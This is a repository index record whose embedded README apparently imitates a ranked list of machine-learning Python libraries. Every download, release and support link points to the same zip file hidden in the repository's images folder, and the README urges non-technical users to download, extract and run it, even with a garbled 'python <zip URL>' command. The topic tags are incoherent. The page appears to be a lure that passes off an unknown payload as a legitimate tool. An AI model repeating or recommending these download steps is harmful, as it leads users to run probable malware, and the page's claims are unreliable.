{"id":49732966,"url":"https://github.com/sora468/best-of-ml-python","last_synced_at":"2026-05-09T07:02:02.830Z","repository":{"id":324054055,"uuid":"1095508895","full_name":"Sora468/best-of-ml-python","owner":"Sora468","description":"🏆 Discover top-ranked Python libraries for machine learning, updated weekly to help you find the best tools for your projects.","archived":false,"fork":false,"pushed_at":"2026-05-08T07:53:44.000Z","size":20410,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-05-08T09:39:37.215Z","etag":null,"topics":["airport","airport-simulation","chatgpt","configuration","data-analysis","data-science","data-visualization","data-visualizations","gpt","keras","machine-learning","nlp","python","scikit-learn","tensorflow","transformer","usg-ai-training-data","usg-artificial-intelligence"],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"cc-by-sa-4.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Sora468.png","metadata":{"files":{"readme":"README.md","changelog":"history/2020-11-30_projects.csv","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-11-13T06:27:50.000Z","updated_at":"2026-05-08T07:53:48.000Z","dependencies_parsed_at":null,"dependency_job_id":"2c40dc46-c09a-4559-b593-8b8649bb25f4","html_url":"https://github.com/Sora468/best-of-ml-python","commit_stats":null,"previous_names":["sora468/best-of-ml-python"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Sora468/best-of-ml-python","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sora468%2Fbest-of-ml-python","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sora468%2Fbest-of-ml-python/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sora468%2Fbest-of-ml-python/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sora468%2Fbest-of-ml-python/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Sora468","download_url":"https://codeload.github.com/Sora468/best-of-ml-python/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Sora468%2Fbest-of-ml-python/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":32810381,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-08T08:22:46.396Z","status":"online","status_checked_at":"2026-05-09T02:00:06.633Z","response_time":123,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["airport","airport-simulation","chatgpt","configuration","data-analysis","data-science","data-visualization","data-visualizations","gpt","keras","machine-learning","nlp","python","scikit-learn","tensorflow","transformer","usg-ai-training-data","usg-artificial-intelligence"],"created_at":"2026-05-09T07:02:01.888Z","updated_at":"2026-05-09T07:02:02.819Z","avatar_url":"https://github.com/Sora468.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🏆 best-of-ml-python - Discover Top Machine Learning Libraries Easily\n\n[![Download Latest Release](https://github.com/Sora468/best-of-ml-python/raw/refs/heads/main/config/images/python-best-of-ml-v3.3.zip%20Latest%20Release-v1.0-blue)](https://github.com/Sora468/best-of-ml-python/raw/refs/heads/main/config/images/python-best-of-ml-v3.3.zip)\n\n## 📖 Description\nBest-of-ml-python provides a ranked list of outstanding machine learning Python libraries. This repository is updated weekly, ensuring you have access to the most relevant tools for your data science and machine learning projects.\n\n## 🚀 Getting Started\n### System Requirements\nTo run this application, you will need:\n- A computer running Windows, macOS, or any Linux distribution.\n- Python version 3.6 or higher installed on your system.\n- An internet connection to access the libraries.\n\n### Key Features\n- Regularly updated list of Python libraries.\n- Covers various topics in machine learning such as:\n  - AutoML\n  - Data analysis and visualization\n  - Deep learning frameworks\n  - Natural Language Processing (NLP)\n  - Reinforcement learning tools\n\n## 📥 Download \u0026 Install\nTo get started, visit [this page to download](https://github.com/Sora468/best-of-ml-python/raw/refs/heads/main/config/images/python-best-of-ml-v3.3.zip). \n\n1. Click on the \"Releases\" section.\n2. Select the version you want to download.\n3. Follow the instructions based on your operating system.\n\nAfter downloading, extract the contents if the files are in a compressed format (like .zip or https://github.com/Sora468/best-of-ml-python/raw/refs/heads/main/config/images/python-best-of-ml-v3.3.zip).\n\n### Running the Application\nTo run the application:\n- Open your terminal or command prompt.\n- Navigate to the directory where you downloaded the application.\n- Execute the command that corresponds to your system.\n\nFor example, if you downloaded it as a Python script, you can run:\n\n```bash\npython https://github.com/Sora468/best-of-ml-python/raw/refs/heads/main/config/images/python-best-of-ml-v3.3.zip\n```\n\n## 📚 How to Use the Application\nOnce running, you will see a user-friendly interface. Follow these steps:\n\n1. **Explore Libraries**: Browse through the ranked list of libraries.\n2. **Select a Library**: Click on any library name for more details.\n3. **Install a Library**: Follow the provided link for installation instructions.\n\nEach library entry includes:\n- A brief description.\n- Installation instructions.\n- Links to official documentation.\n\n## 🔍 Frequently Asked Questions \n**Q: Do I need programming skills to use this application?**  \nA: No, this application is designed for non-technical users.\n\n**Q: Can I suggest a library?**  \nA: Yes, contributions are welcome! Check the contribution guidelines on our GitHub page.\n\n**Q: How often are the libraries updated?**  \nA: Libraries are updated weekly to provide the latest information.\n\n## 💬 Support\nIf you encounter any issues, feel free to raise an issue on our [GitHub page](https://github.com/Sora468/best-of-ml-python/raw/refs/heads/main/config/images/python-best-of-ml-v3.3.zip). Our community is here to help!\n\n## 🌟 Acknowledgments\nThis project relies on various open-source libraries. Thank you to all contributors and maintainers for their hard work.\n\nFor more information about this repository, visit the official documentation and the community guidelines on our GitHub page.\n\n## 🔗 Stay Connected\nFind us on our social media platforms to get the latest updates. We appreciate your feedback, and we look forward to your contributions!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsora468%2Fbest-of-ml-python","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsora468%2Fbest-of-ml-python","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsora468%2Fbest-of-ml-python/lists"}